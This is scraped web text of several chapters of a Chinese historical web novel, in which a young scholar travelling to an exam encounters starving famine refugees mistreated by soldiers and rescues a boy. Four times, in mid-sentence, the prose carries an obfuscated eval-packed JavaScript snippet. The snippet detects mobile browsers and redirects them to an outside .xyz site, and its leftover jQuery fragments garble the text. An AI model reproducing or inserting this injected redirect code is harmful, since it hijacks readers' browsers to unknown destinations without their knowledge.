这四个月，不仅仅是段之缙在用功读书，沈白蘋也如饥似渴地汲取着知识。那些“经世致用”的道理，那些“继往开来”的抱负，不仅仅是段之缙获得了，她也获得了。 但正因为懂得，所以痛苦。 数不清有多少个夜晚，她总梦着自己是一个男人，推开了沉重的门走出去。有些时候是游侠，惩恶扬善，事了之后拂身而去，深藏身与名；有时候是微芥小官，能够近抚黎民、教化百姓；也或许只是一个农民，每日里扛着锄头下地干活，一颗颗饱满的麦子就是对她最大的奖赏。 可是一觉醒来，还是困在深深的宅院里，每天过着同样的日子。 若就这么一觉睡下去，倒也未尝不是一件好事。 而今天段之缙的话，叫沈白蘋心如擂鼓。 能跟他说吗？他会答应吗？ 深深的院子逼疯了一个又一个的女人，沈白蘋想要的是更广大的天地。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913810|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她艰涩地启唇，游移不定地开口，若是二爷不说话，那今夜的一切也权当做是在做梦。 “我想……若君为韩世忠，我为梁红玉。” 段之缙听见这个请求，也算是意料之外情理之中。沈白蘋的学识比自己强不少，只是输在不能出门看这世间水土，若生而为男子或者是二十一世纪的女子，定然前程远大。因而沉思一会儿，郑重回道：“若我为韩世忠，君为梁红玉。” 这一句轻轻的话掉在沈白蘋心头，叫她几近堕泪。她的人生是一路向下的，幼时在外祖家教养，锦衣玉食倒是其次，最开心的是家里的兄弟姐妹一齐去学堂。后来渐渐长大，回了沈家谈亲事，外祖给自己安排的是户部侍郎家的二公子，比之自己长两岁，已经中了秀才，可父亲贪图聘礼将自己嫁给了段家。刚进段家门的时候，还能说是琴瑟和鸣，舅姑带自己都和蔼可亲，可怎么外祖母一去世，杨家被抄家便全都便了个样呢？ 可现在，这样的好事，其他的女子此生难遇的好事就这样轻飘飘落在头上，而段之缙还在说着以后的事儿。 “我听说，你舅家被抄家后回了淮宁，这次启程，我想跟太太说，把你也带上，我们一块儿去看望一下，你意下如何？” 沈白蘋激动到极处甚至失语，段之缙也没等得她的回答便接着说道：“不过这只是我一时的想法，若是太太不同意便难说了，你不必抱太大的希望，省得明日太失望了。” “只要二爷还想着我和舅舅便好，倘若太太不同意，二爷到了去看望一下舅舅给我来信也是成的。” “这是自然。” 这场对话落下帷幕，段之缙沉沉睡去，徒留下沈白蘋一人辗转反侧，夜不成寐。 第二天不用上课，段之缙还是温习了一些功课，等着天大亮了才穿上棉衣，外边裹上莲青色鹤氅，内里是猞猁狲的皮毛，十分暖和，再回头看，沈白蘋也已经装扮好，耳尖赤红的珊瑚耳坠更称的面容如雪似玉。 携手去了主院，太太刚用完早饭，有一搭没一搭地听着他们说话，等着段之缙说道要带着沈白蘋一起去安平看望她的舅舅时，脸色便不太妙了。 “你是去考试的，带着她做什么？杨家是罪臣之家，还是不去为好。” “虽是罪臣之家，但毕竟有姻亲之谊，而且我们只是过去走亲戚罢了，并无什么妨碍。” 王虞不耐烦地摆摆手，“好了好了，我不与你争辩，你想去便去，左右我做母亲的管不住你，但是你媳妇留下来伺候我。” “便是女子，出门探亲也是常理，为何太太不许我带着蘋儿呢？” “哼。”王虞发出一声讥笑，“你跟个大闺女一样大门不出二门不迈的，住在我的致知斋里要什么有什么，哪里知道山东玉平已经连着两年大旱，刚到皇城根的那批流民也要在这个时候被官兵强制遣送回去呢？” “你想带着你媳妇就带着吧，无论我怎么给你雇人，遇上了流民你带着一个女人，怎么样我也难说。” 15.第十五章 路遇流民 段之缙和沈白蘋面面相觑，他们的确如太太所言，大门不出二门不迈，外边有什么事儿也不会去同他们说，恐耽误了他们上进的心。 王虞拿着茶杯浅嘬了一口，“你放心好了，我也不是什么活阎王，你喜欢这个媳妇我就给你留着，不会去欺负她的。施姨娘我也给你看顾好，只要你好好上进，她也是过的好日子。” 段之缙回头看看沈白蘋，只见她微微点头，也不再和嫡母争辩，低头应下。 王虞这才满意地一笑，又说起来这一路的安排，“你是个金玉一样的宝贝疙瘩，从来没自己一个人出过远门，因而昨日我都跟秦先生嘱咐好了，今天再跟你嘱咐一遍，千万要记得母亲的话。” “这次去安平，你们的路赶得急，不知会不会遇到被赶回玉平的灾民。他们都是官兵控制住的，看见了也别害怕，记得给他们的头儿一些酒水钱，叫他们也看护着你。自然，母亲还给你雇了镖局，都是拿真刀真枪的汉子，王家雇他们护镖已经十几年了，很信得过，你可别摆什么读书人的架子，没事儿在马车上读书，下了马车谦虚谨慎些，要走什么路，要何时走都听镖头的话。” 王虞喋喋不休，从如何赶路一直到每天吃什么，在哪吃都安排得明明白白，段之缙也仔细认真地听，没有一点儿烦躁。 话说到最后，王虞一盏水都喝完了，神情变得惆怅，“我早就差人给父亲母亲去了信，等到了安平，秦先生会带着你去王家住下，你外祖会照顾你的。”说到此处，她的眼里都含着泪，想起了幼时承欢膝下的好光景，父慈子孝，姐妹兄弟之间友爱非常。 “缙儿，到了安平拜见过你的外祖，记得给我来信，说说两位老人家现在身子如何，精神头还足吗？这十几年再也没见过面，不能尽孝，万望你能记得，替你的母亲磕一个头。” 段之缙看着泪眼朦胧，强忍着不叫泪滴下的嫡母，心中实在不是滋味。他该怨恨嫡母，可若是不转生在这个家里，嫡母供给吃喝，外边闹着灾自己又当如何是好？又得知了父亲的为人和母亲的遭遇，他实在可怜这个女人。 “你也要记得你姨娘的亲爹娘，他们亦是你的外祖家，给姨娘来信说一说，她也时时刻刻不能忘呢……” “儿子记住了。” 王虞咬着下唇别过头，用帕子擦净了泪，心痛之下也顾不得脸上胭脂斑驳，损了她的体面。 “去吧，去吧……跟你的姨娘说说话。” 底下的小夫妻二人爬起来去了偏房，姨娘正急得来回踱步，刚看见儿子和儿媳便快步凑上去，可定定看了一眼，也不知道能说些什么，该叮嘱的太太定然都叮嘱了，她这个亲娘也没有别的话能叮嘱，最后捏着两个人的手，问道：“明天，就要走了？” “是。” 姨娘又摸摸他的脸，“一下子都长这么大了，你刚生下来的时候，还不及姨娘的小臂长，姨娘天天抱着，一刻都不敢撒手，如今竟然也要一个人出门了。” 段之缙看着她又悲又喜，和妈妈一样的面容如此慈爱地看着自己，刚才压抑的心情更是难受，倏忽间掉下泪来，被施姨娘嘲笑着擦去了。 “姨娘，你别担心，太太都嘱咐好了，儿子定然一路顺风地去，平平安安地回来。” “缙儿，别人都祝你早日高中，但是姨娘觉得，就算不能中也无所谓，你只要能平安回来，回到京里，姨娘和太太就能把心放在肚子里了。蘋儿你也放心，太太不会为难她的。” 恳切叮嘱、殷殷期盼，第二天段之缙先去给段成平磕了头，便携着女眷们的点点泪水，上了马车，厚重的大门被抛在身后，回首望去，竟然也开始舍不得了。 而段之缙的怀里，是一厚摞的银票，烫的人皮肉都要化掉。 “段少爷，外边的风大，还是把头缩回去吧。”车旁骑马的苗虎镖头看他还伸着头回望，赶紧提醒他保暖，若是这一路上病了，麻烦的还是自己。 段之缙来到此世也算是头一回出门在外，处处小心，对着苗镖头一笑，立马缩回了马车。 马车里并非样样都有，供给读书却也十分充足了，秦先生把书本摆到段之缙的面前，自己给自己点上了烟草，猛地吸了一口，“好了，如今在路上也要安心读书了，等着到了客栈，咱们就结束，你稍微歇一歇晚上也要夜读。” 段之缙称是，师生两个立马就行动了起来，在晃悠悠的马车上，接着研习八股文字和朝代史书，一刻也停不得。 出了京也没有几日，蔚蓝的天空便飘下雪来，北风席卷着霜雪扑打在马车上，四周传来咚咚的声音。 段之缙惊疑地问道：“先生，这个车不会被吹跑了吧？” 秦先生头也不抬一下，大拇指和食指撵着手中的书页随口安慰：“放心好了，先生每年都是这个时候回安平，从没出过事。” 段之缙稍放下了心，又安静读起书来，可没一会儿，马车忽地停住，因为惯性的作用，他差点从椅子上载下来。 外边是一片嘈杂，又有金属碰撞的冷声滚进耳朵，段之缙刚要打开马车门，却被秦先生拦下。 “不要轻举妄动，先听！” 外边模模糊糊地传进来镖头苗虎和一个陌生男人的交谈之声。 “军爷，我们家少爷是要回淮宁安平县考县试的，是正经的读书人。” “读书人？去应考带这么多的家丁？还带着刀枪……我看分明是盗匪伪装的，叫他下来！” 段之缙心中懊恼，想着破财消灾，刚拿上那些钱便又被秦先生拦住，“不要把你的书生气弄给当兵的看，下去吧。先生在马车上听着，若你说的话有不合适的地方，我会下去帮你。” 段之缙点点头，脸上挂着一个笑，推开马车的门走了下去。 “军爷！”裹着厚重的毛氅，段之缙从马车上跳下，一打眼就是四五个兵丁站在马车前，他打断还在纠缠的两人，笑道：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913811|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 军爷，您误会了不是？我们真是去淮宁应考的，只是母亲慈爱，放心不下学生，才派了这好些人跟着我。麻烦你们过来查看，实在是对不住了。”段之缙语气里全是歉意，从怀中拿出来一张五十两的银票送给为首的士兵，又说道：“这些银子就当做是给兄弟们的酒钱，大冷天的喝些也能暖暖身子。” 为首的兵丁表情怪异，先回头跟一个跟班说了些什么，才笑纳了银两，那跟班转头往前路去了，他还带着剩下的人站在原处。 “这么冷的天，路上不好过吧？”为首之人开始有一搭没一搭地说话，眼神绕着段之缙来回扫视，定在他的大毛氅上，段之缙了然，犹豫了一会儿开始解衣服，却听得马车轻响，回头一看，原来是秦先生下来了。 “天冷赶路确实不好走，他父母亲又极是关爱，担心他出了差错，因而叫了这么多的人护持。没办法，当爹的即便身为吏部员外郎，家里这些宝贝疙瘩也总归放心不下，何况这还是有出息的孩子呢？” 那兵头头吃了一惊，疑道：“他爹是吏部员外郎？” 段之缙看着秦先生的示意一拱手，回道：“家父段成平，正任吏部员外郎。” 那人表情惊疑不定，但还是让开了去，皱着眉说道：“马车跟在我后边，带着你去见见我们长官。” 这是为何？段之缙刚要询问，秦先生便摇了摇头，“别上马车，跟着他去。” 段家一行人便跟着那几个兵丁走，可短短十几分钟的路程，几要把段之缙的心肠震碎。 哀鸿遍野…… 风吹雪打，树上都挂着冰溜子，男女老少面黄肌瘦地坐在地上，两眼暴突。他们衣衫褴褛，面颊深深凹下去，连动也动不得，若妄动便会有兵丁上来叱骂，只能双目无神的坐着，等着风把身上仅剩下的一点儿热乎气吞走。 已经不忍心看了，段之缙别过脸问秦先生：“这是罪犯吗？其中如何还有幼儿？” “哼……”秦慎之冷笑，“这些人是前不久从山东玉平逃灾到京城的灾民……” “……那批流民也要在这个时候被官兵强制遣送回去……”太太的话猛然闯进段之缙的脑海中，他回首低声道：“他们……都要返回玉平吗？” “自然。” “朝廷的赈灾粮已经送到玉平了？当地的官员也已经开始施救了？” “这谁知道呢？即便是赈灾了，想来也无甚效果，咱们出城的时候，你呆在马车上，可外边行走的，是从玉平来的灾民。” 段之缙看着麻木的人躺在地上，明明冷到了极点，可连看看自己身上的棉衣的力气都没有。 “军爷……” “作甚！” “何不让这些人起来走动一番呢？这样身子也还能暖和暖和，能保下一条命来。”段之缙强提起一个好脸色跟前头的士兵说话，希望能叫这些灾民舒服些。 可前头带路的士兵回头哂笑一声，一句话没说。 16.第十六章 率兽食人 “无知小儿，还不快快住嘴！”秦先生狠狠给了段之缙后背一巴掌，蓬松的大氅里贮存的空气被噗的一声挤出来，无论是前边的小兵还是周围的流民，没有一个人给出半点反应。 秦先生轻叹一口气，低声道：“只看，不要说话，等见着了他们的长官，只说你的父亲是谁即可。” 段之缙默默点头，厚实的皮靴子踏在雪里，沙沙作响。 也没走太长时间，前头突然出现了几十个全副武装的士兵，带头的那个人看着段之缙一行人往他们的营地走，赶上前来疑道：“陈哥，怎么不留在原地？带到千总跟前儿脏了咱们的地界儿。” “哼，夏小狗，人家是吏部老爷的儿子哩，要干你自己去干！” “吏部老爷的儿子？别是唬我们吧？”那个叫夏小狗的兵士上前来打量一番，段之缙站在原地镇定自若，任他打量。 陈哥从后边猛地推了夏小狗一把，“你他娘的，快走吧，叫千总大人跟他说两句。” 一行人便让兵丁领着往前走，终于见到了正在烤火的千总。 火上正架着一个锅，锅里的液体沸腾着，泛着层层的白，像是粥水。 陈哥凑到千总耳边窃窃私语，千总转向段之缙，抬着眼皮问道：“你是吏部员外郎的儿子？” “家父吏部员外郎段成平。” “哦，那你该知道我们兵部的长官是谁吧？” 秦先生上前拱手道：“兵部尚书孙宗夏和他父亲很是友善，曾想跟圣上请旨，叫他父亲调到兵部去。” 千总这时候才有了点儿笑模样，招呼两个人坐下，“我是这渝州府胶合县兵营里的千总王朝勇，咱们这就算是认识了哈！” 秦先生哈哈大笑，席地而坐，“自然自然，在下名讳为秦慎之，是这个谬种的先生，带着他去安平县参加县试。”先生这样说，又硬拉着段之缙坐下，“你这个木楞的东西，也坐下烤烤火吧，别把脑子都冻得木呆呆了。” 王朝勇看这两人一眼，“看来是徒弟不争气，惹了先生的厌了？” “唉，实在是难说啊，这个孩子样样都好，只是父母太宝贝了，一出门便露怯。” 王朝勇将煮熟的粥水递给两人，“男子汉大丈夫，多见见世面就好了。”语罢，他又招弟兄们来喝粥，连带锅底的那点东西也刮干净了，流民们眼巴巴地望着，却没有一个能上前，有些饿得狠了，雪混着泥土就塞到了嘴中。 “怎么不多煮些分给流民？” 王朝勇嗤笑一声，夏小狗咧着嘴嘲讽道：“大少爷，左右不是你来压着他们回玉平，他们吃饱了闹事，也不是你来解决不是？” “那就叫他们在这个冰天雪地中呆坐着？哪怕起来活动活动，起码能苟全性命。” “果然是吏部员外郎的儿子，读书人心善得很。”王朝勇睨了他一眼，“只是你没当过差，不知道当差的难处，他们乱动、逃跑，咱们兄弟还要累死累活地追，岂不知还是这样方便。绵羊一样温顺。” 段之缙紧盯着王朝勇，“若是冻死了待要如何！” “冻死了便冻死了。”秦先生截断了王朝勇的话头，“你能少管些闲事叫先生也放心些吗？不吃粥就给为师，为师还想再喝点热乎的，你上车温书去吧。” 段之缙震惊地看着秦先生，望进他深潭一样汹涌的眸子里，突然意识到了什么，咬紧牙关上了车，闭门读书。 秦先生朝着王朝勇撇撇嘴，“小孩子，不知道人间疾苦，大家都混口饱饭吃就不错了。” 王朝勇笑看了一眼秦慎之，“先生果然是明白人，知道我们兄弟的苦楚。大冷天押送这些猪狗似的东西，到底是不如在营里舒服。便是冻死了，也省得兄弟们的力气，少看管一个人，还填饱了山林里野兽。那个谁，那个谁……”他一时想不起要说的东西，狠狠揪着眉心的那块儿皮冥思苦想了一番，一拍脑袋笑道：“阿弥陀佛！不是说众生平等吗？人吃山林里四脚跑的，四脚跑的吃人又怎么了？”他说完朝四周一看，大家都哈哈大笑起来。 段之缙靠在马车壁上，静静地听着外边的说话声，突然想起了孟子说的“率兽食人”，只不过孟子所言的“率兽食人”只是对苛政的比喻，而外边那群人，却是真的将人填入了野兽的口中。 这方世界，这方世界究竟怎么了？ 段之缙捧着书本，里边密密麻麻的全是“仁义礼智信”，可是仁义礼智信在哪里？ 也不知过了多久，秦先生上了马车，静静地看着段之缙手中的书一页没翻，轻轻摸了摸他的额头，“今天晚上住到了客栈，先叫店小二给你熬些预防风寒的药……唉，你还是孩子呢，看见这些事情觉得不可思议是正常的……” 秦先生的话音落下，马车里就一片死寂。最后秦先生拍拍他的肩膀道：“你接受不了也是正常，为师如你这般大的时候也接受不了。刚才为师去人群里查看了一番，那些孩童中只有一个男孩儿还活着，你去吧，下去给王朝勇一百两的银票，就说是请他们喝酒，然后说身边跟着的下人不够用，把那个孩子带上跟咱们一块儿走吧。” 段之缙眼睛里这才有了些神采，抽出一张银票攥在手里，下了马车。 “王大哥！”他到底不是年仅十八的孩子，成年人该有的虚以为蛇他都会得很，好像刚才的不愉快没发生，还带着点儿拘谨地凑到王朝勇身边，仿佛真是一个没出过家门的书生，“先生叫我把这一百两银子给大哥，好叫兄弟们喝酒。” 王朝勇拿眼皮挤了他一下，神情自若地接过了银票，“这怎么好意思呢，那我们兄弟就先谢过大少爷了？” “不敢不敢，学生名讳为段之缙，大哥叫我名字即可。弟弟还有一事相求。” “不会是要给这些人吃粮吧？” “自然不是！”段之缙故作羞臊，倒真像是知道自己方才说了多少天真幼稚的话，尴尬地摸了一下鼻子，“先生说我身边少了伺候的人，叫我出来找找有没有愿意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922997|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着走的。” 王朝勇看看远处的流民，一个个虚弱地坐在地上，或斜靠着树，有气无力。 “那你去吧，咱这里要钱的东西没有，不要钱的人倒是多得很啊。” 段之缙深深一拱手，回头去流民群中寻找那个还留有一口气的孩子。 他穿着千金大裘，干干净净地走到了衣衫褴褛的人群中，一双双浑浊的眼睛紧随着他。 “我……”话在嗓子眼里，偏还说不出来，这里一个个孩子，都紧贴着大人，闭着眼睛，大多数已经咽了气，爹娘也不敢去看，也不敢去想。 “我来选一个小童，跟着我上车去伺候，虽然也不是什么好去处，但能吃饱穿暖。” 这句话，像一锅滚油泼进了冷水里，人群中立刻炸了锅。 “是、是刚才那位老爷是不是？他摸了我家狗娃的脸，是喜欢我家狗娃的！”一个女人突然有了反应，尖利的声音响彻了整个树林，又踉跄地抱着怀中的孩子上前，也没有发现，怀里的孩子已经冷硬如冰雪了…… 段之缙上去摸了摸孩子不再柔软的脸，艰难地摇摇头，“这个孩子他……他已经没气了，您还是放下吧……” “你胡说！”女人崩溃地嘶吼，“狗娃还活得好好的呢！你不要就不要，狗娃跟着我回玉平，朝廷给我们发赈灾的粮！”这边的骚动已经惊动了兵士，一个小兵拿着一把长枪指准了女人，“你要是再敢大声吆喝，我叫你和你的这个死孩子立刻团圆！” “好了好了……”段之缙压着长枪放下，“她一个妇道人家懂得什么？你何苦跟她置气？” 语罢又朝向人群，艰涩道：“你们先自己看看怀里的童儿，若是还活着，就站起来吧。” 做父母的抓住眼前这个触手可得的生机，终于去查看了怀里的孩子，然后断断续续的，悲痛欲绝的哭声响了起来。 最后，只有一个骨瘦如柴的女人站起来，激动之下甚至说不清话，“我的、我的儿子还活着，我的孩子还活着……” 段之缙上前查看，男孩额上滚烫，脸上通红，他立刻解下了大氅把孩子包住抱在怀里，然后朝四周大喊，“还有吗？我还要几个伺候的小童。” 再也没有人回答他了，只剩下悲怆的哭声，他们舍不得易子而食，甘心抛下家业往京城走，希冀京里的贵人能舍下一口粥水，一粒米，可怎么……怎么孩子还是没了呢？怎么来到了京城，还要回玉平呢？ 段之缙抱着孩子，跟身边的小兵小声说，“我要连带着他的母亲一块儿带走。” 那小兵因他给的赏钱那样多，自然无所不应，可他刚要跟那女人开口，秦先生便站在马车外边遥遥地唤，“缙儿，不要做多余的事情，回来吧。” 段之缙着急又不解，可还是抱着孩子回到了马车上。 “你刚才想干什么？”秦先生抱下了孩子，将他平放在马车上，王章忙前忙后的给小孩儿用冰帕子擦身降温，又出去借着官兵的火煮了药。 17.第十七章 狐死首丘 “学生想连他的母亲也带走。” “那你要不再多带上别人呢？不患寡而患不均，你带上了这个女人，别的人自然也想跟着你，势必会惹出来骚乱，你想亲眼见那些当兵的杀人吗？我叫你下去要一个小童，是因为只有这一个小童还活着。”秦慎之直勾勾地盯着段之缙的脸，面无表情地说。 “你是知道这些道理的。” 是的，段之缙知道，可他作为一个现代人，如何能眼睁睁地看着母子分离，看着流民死在眼前。 这方世界，兵也不是兵，他所认识的兵，不会把武器对准百姓。人也不是人，他所认识的人，不会眼睁睁看着同胞冻死饿死，自己守着一锅热粥嬉笑，最后反而觉得，和自己同种的生物可以喂给林间野兽。 这里的世界，官民之间的差别，比物种都大。 正在段之缙沉默静思的时候，秦先生突然开口，“你知道你犯了什么错误吗？” “学生何错之有？” 秦先生叹着气笑道：“你啊你，你从一开始出了马车门就是错的。为师是不是说了，不要漏出来你的学生气？” 段之缙疑道：“学生如何漏出来了学生气？” “你还不学生气？你是从五品官员的儿子，是读书人，这些小兵算什么东西？你合该上去给他们一巴掌，还‘军爷’呢！你真是疯了！” “你一张口便先漏了怯！所以先生说你是户部员外郎的儿子之时，他们犹疑万分。” 段之缙不解，“这些兵士，上来问问罢了，何故去打他们呢？” 秦先生把发热没那么严重的孩子包好抱在怀里，王章小心地将汤药往其嘴中灌。。。 “兵匪、兵匪，这些当兵的都是下等人，做兵做匪都未可知的……你道刚才那个被唤做‘陈哥’的小兵在打量些什么？你身上这件儿大氅？孰不知他们已经去叫了其他兵丁，准备把咱们杀干净，东西全都据为己有。” 段之缙真是吃了一惊，回想起“陈哥”和“夏小狗”的私语，半路突然汇合的兵士，又是什么待在原地，又是什么“脏了咱们的地界儿”，其险恶用心已经不言而喻。 “何至于此啊！” 秦先生面上俱是讥诮，“这就是为什么我叫你下去应对，等到你出了错再来提醒你。先生知道你忘了很多很多，这四个多月其实一直都生活在世外桃源里。但是出了家门，你要摆好自己在人间的地位。你不是什么无名小卒，也不是普通的读书人，你是吏部员外郎之子，淮宁巨富的外孙，你父亲官职虽小升迁无望，拿到外边也不是唬人的。” “你自己也要硬气起来，圆滑固然没有错，可是你得对着该圆滑的人圆滑，该冷硬的时候就要冷硬，否则就正如那个小兵一样，等你反应过来想要冷硬的时候，人家的刀枪已经架在了脖子上。” “学生……学生谨记先生教诲。” 师生两人再也没说过一句话，马车停着，然后开始慢慢悠悠地走，速度又渐渐加快，将身后的流民和兵士远远甩开，漫天大雪中，独有几辆马车和护镖的镖师前进着，留下一道道车辙和马蹄印，又被飞舞的雪花尽数遮掩，就如经过的累累白骨，也被野兽拆吃入腹，消失不见。 太阳落了许久的时候，这一行人终于找到了客栈，好歹用上了热水吃了一口热饭，师生二人收拾好后，便守在那瘦弱的小童身边，看着他的情况。 但或许是从没吃过什么正经药，因而下午的苦药汁格外奏效，那孩子还不等得段之缙打开书本，便清醒了过来，一睁眼看见干干净净的床帐和坐在房里的师生，便嚎啕大哭了起来，惊得两个大男人手忙脚乱。 秦先生坐在床旁边搂着孩子，手抚着他的背重复地哄，“莫哭了莫哭了，哭多了，等到明天，眼睛都粘上了，你就再也睁不开眼了。” 他又哄又吓，孩子却是哭得更厉害，哭到肌肉痉挛，手指都抽搐起来。 段之缙急得团团转，突然灵机一动吓唬道：“好孩子，你要是再哭，我可就不带着你去找娘亲了。” 那孩子一听，从秦先生的怀里拱出来，狠狠地捂住自己的嘴，不再漏一点儿哭声出来，等着平息了片刻，才抽抽嗒嗒道：“俺……俺娘没把俺卖了？” 段之缙用自己的帕子擦了擦孩子的眼泪，哄道：“你娘心心念念的全是你，怎么舍得把你卖了呢……你叫什么名字？” 孩子接过段之缙的帕子，自己就擦了起来，然后瓮声瓮气地回道：“俺的小号叫剩子，俺的大号叫冯胜儿。” 说完，剩子就用他占了脸近乎一半的大眼睛看着段之缙，期盼地问道：“大哥，恁啥时候带着俺去找俺娘？” 段之缙筹划了一番语言，才犹豫着开口道：“可是哥哥都不知道你娘在哪，怎么能带着你去找你娘呢？” “俺知道！”剩子兴奋地大喊，“俺娘要带着俺回玉平唻，恁带着俺回玉平，俺就能找到俺娘了！俺家就住在玉平府寿张县的冯家村。” 段之缙心中实在难受，定了定神强拉扯出来一个笑，点点孩子的鼻头，“哥哥知道了，只是哥哥现在有很要紧的事情办，一定要先办了这件事儿才能带着你去找娘。” “那恁啥时候能办完？” “哥哥要去考试的，明年二月要考县试，若是县试过了还要考府试，哥哥也不知道什么时候能办完。” 剩子失望地低着头，秦先生对着这样一个孩子，也不忍起来。 “剩子，别急，大冬天的你娘回了玉平，光养活自己都难，何况还得拉扯着你呢？你先跟着我们吃喝，等着明年春天，朝廷赈灾的粮食一定有了，那时候你回去，你娘也好养活你不是？”秦先生宽大的手掌覆在孩子杂乱的头发上，小心地给他捋顺，结果手上还沾了一个虱子，两个手指一捏就碾死了。 剩子仔细地想了一下，认真地点点头，又突然狐疑起来，问道：“恁不会要俺的饭钱吧？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922998|160152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦先生听着一愣，狠狠捏了孩子的面皮，笑道：“好机灵一个小鬼，不要你的饭钱，现在叫这个小哥哥带着你吃饭洗漱，等会儿老先生有话要问你。” 剩子乖巧地应了，先叫王章帮着洗了澡，弄干净了身上的虱子和脏污，又好好吃了一顿，饱饭，吃得肚子浑圆，还是王章害怕把孩子撑死了强夺下碗筷，把他带到了二爷读书的屋子，秦先生也在里边坐着。 秦先生招招手，唤剩子过来，摸着他干净的头发问道：“你和你娘，离开玉平的时候，你们村里怎么样了？” 剩子的头低低垂着，“反正没有吃食了，家里的水缸和粮缸都见了底，俺娘才带着俺走了。” “你爹呢？” “俺爹死了，去打猎的时候从山上掉下来，摔断了腿，然后就死了。” 这样一个几岁的孩子，说起生死的事情，已经如同喝水吃饭般稀松平常，即使死的是亲人，他神情也没什么波动。 “你们当地的官员没有发钱发粮吗？” 剩子反倒大吃一惊，“官老爷还发钱发粮呢？俺们没见着唻！” “你们在京城里吃了几日的粥？”秦先生蹙着眉问。 孩子摆着指头数了数，“七天吧，他们就把俺们赶走了。” 两个大人俱沉默了下来，叫王章抱了孩子出去。 “现在是冬日，叫他们回颗粒无收的受灾地去，岂不是逼着他们去死？难道地里能平白无故地冒出来粮食吗！”段之缙气愤到了极点，已经无法用话语来表示自己的愤怒，起身来回踱步，手中的茶碗狠狠扣在桌上，茶水四溅，沾湿了书页。 读书……哪一个当官的不是圣贤书读得好做的官？可圣贤书读了又有什么用呢？ 他们做官不赈济灾民，反而逼着灾民去死，道路上就有将人命填在兽口中的官吏。 也怪不得，叫他们衣冠禽兽呢……原来真的全是禽兽。 “缙儿！收收你的心，现在第一要务，不是去可怜谁，而是高中，只有高中了做官才能改变这一切。”秦先生嘴上安慰得好，哄着段之缙安静下来，眼睛重新盯在书本上，心中却是一片森冷。 做官……做官也改变不了这一切的…… 上头的皇帝就是好这一口的皇帝，你心再清，人再正气，有什么用处？ 家中逃者方出门，旧年逃者返乡村。归来尚得首丘死，尽荷君王覆载恩…… 即便御座底下已经垒起了层层白骨，谄媚小人还要颂圣，还要夸君主治下清明，赈灾有成效呢！ 他最后看了一眼段之缙，拿着自己的烟斗走出寂静的房间，在门口，又点起了棕褐色的烟丝，迷雾笼罩住他的面庞，神色难辨。 烟草叫快乐，暂时遗忘过去的事情，可以那些事儿老是从脑海中窜出来，跑马灯一样演一遍，最后凝成赤裸裸的一句话，“什么时候山陵崩呢？” 只是现在看来，圣上的身子骨还好得很呢…… 18.第十八章 到达安平 南下这一路，先乘车后乘船，领略了山河壮丽、江山如画，可也看到了民生疾苦，吏治腐败。 登岸的这一天，已经是十二月二十三了，正是北方小年，可南北习俗不同，淮宁小年是明天。这天里天空湛蓝一片，几块儿云自由地飘着，天气又不十分寒冷，只是湿津津的难受。 码头上，船只来来往往，川流不息。一艘艘木船满载着货物，从远方驶来，又从这里出发。船夫们搬运货物，也顾不得什么严寒，打着赤膊，呼着白气，在船和岸边来来往往。河面上，船帆如云，桅杆林立，远处传来阵阵号子声，与岸边的喧嚣交织在一起。 果然是商业繁荣的地方，和北方是截然不同的景象。 段之缙一行人下了船，四处张望一下，远处来了一行人，抬着两顶小轿，镖头三步做两步上去搭话，这一行人立刻往段之缙这边走过来。 “这就是二爷吧，我们是您外祖王老爷家的刘管家，老爷收着您寄过来的信，特意叫我们来接秦先生和您的。” 段之缙拱手，“多谢，那我们这就去拜见外祖吧。” 刘管家应声，服侍着秦先生上了前边的轿子，其他的小伙子带着段之缙上后边的轿子，段之缙瞧瞧无所适从的冯胜儿，把他搂在身前，带上了自己的轿子。 轿夫的脚程很快，底盘又稳得很，轿子也没怎么晃悠，很快就到了王家的门口，光在外边看看，便觉一股富贵气象，而王老爷正带着夫人站在门口迎接。 秦先生刚一下轿，王老爷王元浩便赶紧上来寒暄，“秦先生一路辛苦了。” 